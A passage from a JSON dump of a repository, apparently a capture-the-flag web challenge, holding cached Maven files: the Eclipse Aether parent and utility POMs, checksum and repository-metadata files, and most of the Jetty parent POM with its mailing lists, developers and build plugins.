<groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <!-- NOTE: Avoiding 2.4+ due to https://github.com/sonatype/m2eclipse-extras/issues/10 -->\n          <version>2.3.2</version>\n          <configuration>\n            <archive>\n              <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8.1</version>\n          <configuration>\n            <detectOfflineLinks>false</detectOfflineLinks>\n            <links>\n              <link>http://download.oracle.com/javase/6/docs/api/</link>\n            </links>\n            <tags>\n              <tag>\n                <name>noextend</name>\n                <placement>a</placement>\n                <head>Restriction:</head>\n              </tag>\n              <tag>\n                <name>noimplement</name>\n                <placement>a</placement>\n                <head>Restriction:</head>\n              </tag>\n              <tag>\n                <name>noinstantiate</name>\n                <placement>a</placement>\n                <head>Restriction:</head>\n              </tag>\n              <tag>\n                <name>nooverride</name>\n                <placement>a</placement>\n                <head>Restriction:</head>\n              </tag>\n              <tag>\n                <name>noreference</name>\n                <placement>a</placement>\n                <head>Restriction:</head>\n              </tag>\n            </tags>\n            <groups>\n              <group>\n                <title>API</title>\n                <packages>org.eclipse.aether*</packages>\n              </group>\n              <group>\n                <title>SPI</title>\n                <packages>org.eclipse.aether.spi*</packages>\n              </group>\n              <group>\n                <title>Utilities</title>\n                <packages>org.eclipse.aether.util*</packages>\n              </group>\n              <group>\n                <title>Repository Connectors</title>\n                <packages>org.eclipse.aether.connector*</packages>\n              </group>\n              <group>\n                <title>Implementation</title>\n                <packages>org.eclipse.aether.impl*</packages>\n              </group>\n              <group>\n                <title>Internals</title>\n                <packages>org.eclipse.aether.internal*</packages>\n              </group>\n            </groups>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n            <mavenExecutorId>forked-path</mavenExecutorId>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy javadoc:aggregate-jar assembly:attached</goals>\n            <arguments>-Psonatype-oss-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n          <configuration>\n            <archive>\n              <manifestEntries>\n                <Bundle-ManifestVersion>2</Bundle-ManifestVersion>\n                <Bundle-Name>${project.name} Sources (Incubation)</Bundle-Name>\n                <Bundle-License>http://www.eclipse.org/legal/epl-v10.html</Bundle-License>\n                <Bundle-SymbolicName>${bundle.symbolicName}.source</Bundle-SymbolicName>\n                <Bundle-Vendor>${project.organization.name}</Bundle-Vendor>\n                <Bundle-Version>${bundle.osgiVersion}</Bundle-Version>\n                <Eclipse-SourceBundle>${bundle.symbolicName};version=\"${bundle.osgiVersion}\";roots:=\".\"</Eclipse-SourceBundle>\n              </manifestEntries>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.9</version>\n          <configuration>\n            <argLine>-Xmx128m</argLine>\n            <redirectTestOutputToFile>${surefire.redirectTestOutputToFile}</redirectTestOutputToFile>\n            <systemPropertyVariables>\n              <java.io.tmpdir>${project.build.directory}/surefire-tmp</java.io.tmpdir>\n            </systemPropertyVariables>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>animal-sniffer-maven-plugin</artifactId>\n          <version>1.9</version>\n          <configuration>\n            <signature>\n              <groupId>org.codehaus.mojo.signature</groupId>\n              <artifactId>java15</artifactId>\n              <version>1.0</version>\n            </signature>\n          </configuration>\n          <executions>\n            <execution>\n              <id>check-java-1.5-compat</id>\n              <phase>process-classes</phase>\n              <goals>\n                <goal>check</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n          <executions>\n            <execution>\n              <id>generate-components-xml</id>\n              <phase>process-classes</phase>\n              <goals>\n                <goal>generate-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.sonatype.plugins</groupId>\n          <artifactId>sisu-maven-plugin</artifactId>\n          <version>1.1</version>\n          <executions>\n            <execution>\n              <id>generate-index</id>\n              <phase>process-classes</phase>\n              <goals>\n                <goal>main-index</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>qa</id>\n            <phase>verify</phase>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireProperty>\n                  <!-- enforce OSGi-friendly versioning scheme such that milestone < rc < final release -->\n                  <property>project.version</property>\n                  <regex>[0-9]+\\.[0-9]+\\.[0-9]+((.*-SNAPSHOT)|(\\.M[0-9]+)|(\\.RC[0-9]+)|(\\.v[0-9]{8}))</regex>\n                  <regexMessage>Project version must be either X.Y.Z.M#, X.Y.Z.RC# or X.Y.Z.v########</regexMessage>\n                </requireProperty>\n                <bannedDependencies>\n                  <!-- enforce use of dependencies approved via IP log -->\n                  <searchTransitive>true</searchTransitive>\n                  <excludes>\n                    <exclude>*:*</exclude>\n                  </excludes>\n                  <includes>\n                    <include>org.eclipse.aether</include>\n                    <!-- CQ #5627 -->\n                    <include>org.slf4j:slf4j-api:1.6.2</include>\n                    <!-- CQ #5628 -->\n                    <include>junit:junit:4.8.2</include>\n                    <!-- CQ #5629 -->\n                    <include>org.codehaus.plexus:plexus-component-annotations:1.5.5</include>\n                    <!-- CQ #5630 -->\n                    <include>org.codehaus.plexus:plexus-utils:2.1</include>\n                    <!-- CQ #5631 -->\n                    <include>org.codehaus.plexus:plexus-classworlds:2.4</include>\n                    <!-- CQ #5632 -->\n                    <include>org.apache.maven.wagon:wagon-provider-api:1.0</include>\n                    <!-- CQ #6816 -->\n                    <include>com.ning:async-http-client:1.7.6</include>\n                    <!-- CQ #6817 -->\n                    <include>io.netty:netty:3.4.4.Final</include>\n                    <!-- CQ #5635 -->\n                    <include>org.sonatype.sisu:sisu-inject-plexus:2.3.0</include>\n                    <!-- CQ #5636 -->\n                    <include>org.sonatype.sisu:sisu-guice:3.1.0</include>\n                    <!-- CQ #5637 -->\n                    <include>org.sonatype.sisu:sisu-guava:0.9.9</include>\n                    <!-- CQ #5639 -->\n                    <include>javax.inject:javax.inject:1</include>\n                    <!-- CQ #5641, #5638, #5639, #5640 -->\n                    <include>org.sonatype.sisu:sisu-inject-bean:2.3.0</include>\n                    <!-- CQ #5660 -->\n                    <include>ch.qos.logback:*:*:*:test</include>\n                    <include>org.apache.maven.wagon:wagon-http-lightweight:*:*:test</include>\n                    <include>org.eclipse.jetty:*:*:*:test</include>\n                    <include>org.mortbay.jetty:*:*:*:test</include>\n                    <include>org.sonatype.http-testing-harness:*:*:*:test</include>\n                    <include>javax.servlet:*:*:*:test</include>\n                  </includes>\n                </bannedDependencies>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <version>1.7</version>\n        <executions>\n          <execution>\n            <id>osgi-timestamp</id>\n            <phase>initialize</phase>\n            <goals>\n              <goal>timestamp-property</goal>\n            </goals>\n            <configuration>\n              <name>bundle.osgiTimestamp</name>\n              <pattern>yyyyMMdd-HHmm</pattern>\n              <timeZone>UTC</timeZone>\n              <locale>en</locale>\n            </configuration>\n          </execution>\n          <execution>\n            <id>osgi-version</id>\n            <phase>initialize</phase>\n            <goals>\n              <goal>regex-property</goal>\n            </goals>\n            <configuration>\n              <name>bundle.osgiVersion</name>\n              <value>${project.version}</value>\n              <regex>-SNAPSHOT</regex>\n              <replacement>.${bundle.osgiTimestamp}</replacement>\n              <failIfNoMatch>false</failIfNoMatch>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>sonatype-oss-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n              <execution>\n                <id>default-cli</id>\n                <configuration>\n                  <attach>false</attach>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.2</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>attach-source-release-distro</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>source-release</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n              <execution>\n                <id>default-cli</id>\n                <configuration>\n                  <attach>false</attach>\n                  <descriptors>\n                    <descriptor>src/main/assembly/bin.xml</descriptor>\n                  </descriptors>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>snapshot-sources</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>clirr</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>check-api-compat</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>m2e</id>\n      <activation>\n        <property>\n          <name>m2e.version</name>\n        </property>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.eclipse.m2e</groupId>\n              <artifactId>lifecycle-mapping</artifactId>\n              <version>1.0.0</version>\n              <configuration>\n                <lifecycleMappingMetadata>\n                  <pluginExecutions>\n                    <pluginExecution>\n                      <pluginExecutionFilter>\n                        <groupId>org.sonatype.plugins</groupId>\n                        <artifactId>sisu-maven-plugin</artifactId>\n                        <versionRange>[1.1,)</versionRange>\n                        <goals>\n                          <goal>test-index</goal>\n                          <goal>main-index</goal>\n                        </goals>\n                      </pluginExecutionFilter>\n                      <action>\n                        <ignore />\n                      </action>\n                    </pluginExecution>\n                    <pluginExecution>\n                      <pluginExecutionFilter>\n                        <groupId>org.codehaus.mojo</groupId>\n                        <artifactId>build-helper-maven-plugin</artifactId>\n                        <versionRange>[1.7,)</versionRange>\n                        <goals>\n                          <goal>regex-property</goal>\n                          <goal>timestamp-property</goal>\n                        </goals>\n                      </pluginExecutionFilter>\n                      <action>\n                        <execute>\n                          <runOnConfiguration>true</runOnConfiguration>\n                        </execute>\n                      </action>\n                    </pluginExecution>\n                  </pluginExecutions>\n                </lifecycleMappingMetadata>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether/0.9.0.M2/aether-0.9.0.M2.pom.sha1",
    "content": "e44bcfab62cbf0ad4f15a47aa9cc48368db2dc6d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\naether-util-0.9.0.M2.jar>central=\naether-util-0.9.0.M2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.jar.sha1",
    "content": "b957089deb654647da320ad7507b0a4b5ce23813"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n ~ Copyright (c) 2010, 2012 Sonatype, Inc.\n ~ All rights reserved. This program and the accompanying materials\n ~ are made available under the terms of the Eclipse Public License v1.0\n ~ which accompanies this distribution, and is available at\n ~ http://www.eclipse.org/legal/epl-v10.html\n ~\n ~ Contributors:\n ~    Sonatype, Inc. - initial API and implementation\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.eclipse.aether</groupId>\n    <artifactId>aether</artifactId>\n    <version>0.9.0.M2</version>\n  </parent>\n\n  <artifactId>aether-util</artifactId>\n\n  <name>Aether Utilities</name>\n  <description>\n    A collection of utility classes to ease usage of the repository system.\n  </description>\n\n  <properties>\n    <bundle.symbolicName>org.eclipse.aether.util</bundle.symbolicName>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.eclipse.aether</groupId>\n      <artifactId>aether-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.aether</groupId>\n      <artifactId>aether-test-util</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/aether/aether-util/0.9.0.M2/aether-util-0.9.0.M2.pom.sha1",
    "content": "938d4a7468d46180927cd14ccec6a5accfc428af"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/jetty/jetty-parent/14/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:03:12 CST 2018\njetty-parent-14.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/eclipse/jetty/jetty-parent/14/jetty-parent-14.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.eclipse.jetty</groupId>\n  <artifactId>jetty-parent</artifactId>\n  <packaging>pom</packaging>\n  <name>Jetty :: Administrative Parent</name>\n  <description>Administrative parent pom for Jetty modules</description>\n  <version>14</version>\n  <url>http://www.eclipse.org/jetty</url>\n  <inceptionYear>1995</inceptionYear>\n  <issueManagement>\n    <system>bugzilla</system>\n    <url>https://bugs.eclipse.org/bugs/enter_bug.cgi?product=Jetty</url>\n  </issueManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Jetty Developer Mailing List</name>\n      <archive>http://dev.eclipse.org/mhonarc/lists/jetty-dev/maillist.html</archive>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/jetty-dev</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/jetty-dev</unsubscribe>\n    </mailingList>\n    <mailingList>\n      <name>Jetty Commit Mailing List</name>\n      <archive>http://dev.eclipse.org/mhonarc/lists/jetty-commit/maillist.html</archive>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/jetty-commit</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/jetty-commit</unsubscribe>\n    </mailingList>\n    <mailingList>\n      <name>Jetty Users Mailing List</name>\n      <archive>http://dev.eclipse.org/mhonarc/lists/jetty-users/maillist.html</archive>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/jetty-users</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/jetty-users</unsubscribe>\n    </mailingList>\n    <mailingList>\n      <name>Jetty Announce Mailing List</name>\n      <archive>http://dev.eclipse.org/mhonarc/lists/jetty-announce/maillist.html</archive>\n      <subscribe>https://dev.eclipse.org/mailman/listinfo/jetty-announce</subscribe>\n      <unsubscribe>https://dev.eclipse.org/mailman/listinfo/jetty-announce</unsubscribe>\n    </mailingList>\n    <mailingList>\n      <name>Jetty @ codehaus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/user</archive>\n    </mailingList>\n    <mailingList>\n      <name>Jetty @ codehaus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/dev</archive>\n    </mailingList>\n    <mailingList>\n      <name>Jetty @ codehaus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Jetty @ codehaus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40jetty.codehaus.org</unsubscribe>\n      <archive>http://archive.jetty.codehaus.org/scm</archive>\n    </mailingList>\n    <mailingList>\n      <name>Defunct - Jetty Discuss List</name>\n      <archive>http://lists.sourceforge.net/lists/listinfo/jetty-discuss</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/Jetty-Discuss-f60.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Defunct - Jetty Support List</name>\n      <archive>http://lists.sourceforge.net/lists/listinfo/jetty-support</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/Jetty-Support-f61.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Defunct - Jetty Announce List</name>\n      <archive>http://lists.sourceforge.net/lists/listinfo/jetty-announce</archive>\n      <otherArchives>\n        <otherArchive>http://www.nabble.com/Jetty---Announce-f2649.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>gregw</id>\n      <name>Greg Wilkins</name>\n      <email>gregw@apache.org</email>\n      <url>http://www.mortbay.com/mortbay/people/gregw</url>\n      <organization>Mort Bay Consulting</organization>\n      <organizationUrl>http://www.mortbay.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>janb</id>\n      <name>Jan Bartel</name>\n      <email>janb@apache.org</email>\n      <url>http://www.mortbay.com/people/janb</url>\n      <organization>Mort Bay Consulting</organization>\n      <organizationUrl>http://www.mortbay.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>jules</id>\n      <name>Jules Gosnell</name>\n      <email>jules@apache.org</email>\n      <organization />\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <email>jstrachan@apache.org</email>\n      <organization>Logic Blaze</organization>\n      <organizationUrl>http://www.logicblaze.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>sbordet</id>\n      <name>Simone Bordet</name>\n      <email>simone.bordet@gmail.com</email>\n    </developer>\n    <developer>\n      <id>tvernum</id>\n      <name>Tim Vernum</name>\n      <email>tim@adjective.org</email>\n      <organization />\n    </developer>\n    <developer>\n      <id>ngonzalez</id>\n      <name>Nik Gonzalez</name>\n      <email>ngonzalez@exist.com</email>\n      <organization />\n    </developer>\n    <developer>\n      <id>jfarcand</id>\n      <name>Jeanfrancois Arcand</name>\n      <email>jfarcand@apache.org</email>\n      <organization>Sun Microsystems</organization>\n      <organizationUrl>http://www.sun.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>jesse</id>\n      <name>Jesse McConnell</name>\n      <email>jesse@webtide.org</email>\n      <organization>Webtide, LLC</organization>\n      <organizationUrl>http://www.webtide.com</organizationUrl>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>djencks</id>\n      <name>David Jencks</name>\n      <email>david_jencks@yahoo.com</email>\n      <organization>IBM</organization>\n    </developer>\n    <developer>\n      <id>dyu</id>\n      <name>David Yu</name>\n      <email>david.yu.ftw@gmail.com</email>\n      <organization>Webtide</organization>\n      <organizationUrl>http://www.webtide.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>ayao</id>\n      <name>Athena Yao</name>\n      <email>yao.athena@gmail.com</email>\n      <organization>Webtide</organization>\n      <organizationUrl>http://www.webtide.com</organizationUrl>\n    </developer>\n    <developer>\n      <id>jerdfelt</id>\n      <name>Joakim Erdfelt</name>\n      <organization>Webtide</organization>\n      <organizationUrl>http://www.webtide.com</organizationUrl>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>hmalphett</id>\n      <name>Hugues Malphettes</name>\n      <organization>Intalio.com</organization>\n      <organizationUrl>http://www.intalio.com</organizationUrl>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>mgorovoy</id>\n      <name>Michael Gorovoy</name>\n      <email>michael@webtide.com</email>\n      <organization>Intalio Inc.</organization>\n      <organizationUrl>http://www.intalio.com</organizationUrl>\n      <timezone>-5</timezone>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>Apache Software License - Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n    </license>\n    <license>\n      <name>Eclipse Public License - Version 1.0</name>\n      <url>http://www.eclipse.org/org/documents/epl-v10.php</url>\n    </license>\n  </licenses>\n  <organization>\n    <name>Mort Bay Consulting</name>\n    <url>http://www.mortbay.com</url>\n  </organization>\n  <!--\n  <repositories>\n    <repository>\n      <id>oss.sonatype.org</id>\n      <name>Jetty Snapshot Repository</name>\n      <layout>default</layout>\n      <url>http://oss.sonatype.org/content/repositories/jetty-snapshots/</url>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n   </repository>\n  </repositories> \n  <pluginRepositories>\n    <pluginRepository>\n      <id>oss.sonatype.org</id>\n      <name>Jetty Snapshot Plugin Repository</name>\n      <layout>default</layout>\n      <url>http://oss.sonatype.org/content/repositories/jetty-snapshots/</url>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n   </pluginRepository>\n  </pluginRepositories>\n  -->\n  <distributionManagement>\n    <repository>\n      <id>oss.sonatype.org</id>\n      <name>Jetty Staging Repository</name>\n      <url>http://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>oss.sonatype.org</id>\n      <name>Jetty Snapshot Repository</name>\n      <url>http://oss.sonatype.org/content/repositories/jetty-snapshots/</url>\n    </snapshotRepository>\n    <site>\n      <id>jetty.eclipse.website</id>\n      <url>scp://dev.eclipse.org:/home/www/jetty/${project.version}/</url>\n    </site>\n  </distributionManagement>\n  <scm>\n    <connection>scm:svn:http://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags/jetty-parent-14</connection>\n    <developerConnection>scm:svn:svn+ssh://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags/jetty-parent-14</developerConnection>\n    <url>http://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags/jetty-parent-14</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <configuration>\n          <rules>\n            <requireMavenVersion>\n              <version>[2.0.6,)</version>\n            </requireMavenVersion>\n            <requireJavaVersion>\n              <version>[1.5,)</version>\n            </requireJavaVersion>\n            <versionRule implementation=\"org.eclipse.jetty.toolchain.enforcer.rules.VersionRule\" />\n          </rules>\n        </configuration>         \n        <version>1.0-alpha-4</version>\n        <executions>\n          <execution>\n            <id>enforce-java</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>       \n          </execution>\n        </executions>\n        <dependencies>\n           <dependency>\n             <groupId>org.eclipse.jetty.toolchain</groupId>\n             <artifactId>jetty-enforcer-rules</artifactId>\n             <version>1.0</version>\n           </dependency>\n        </dependencies>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-release-plugin</artifactId>\n        <configuration>\n          <tagBase>svn+ssh://dev.eclipse.org/svnroot/rt/org.eclipse.jetty/jetty-parent/tags</tagBase>\n          <useReleaseProfile>false</useReleaseProfile>\n          <goals>deploy</goals>\n          <arguments>-Peclipse-release</arguments>\n          <preparationGoals>clean install</preparationGoals>\n          <mavenExecutorId>forked-path</mavenExecutorId>\n        </configuration>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          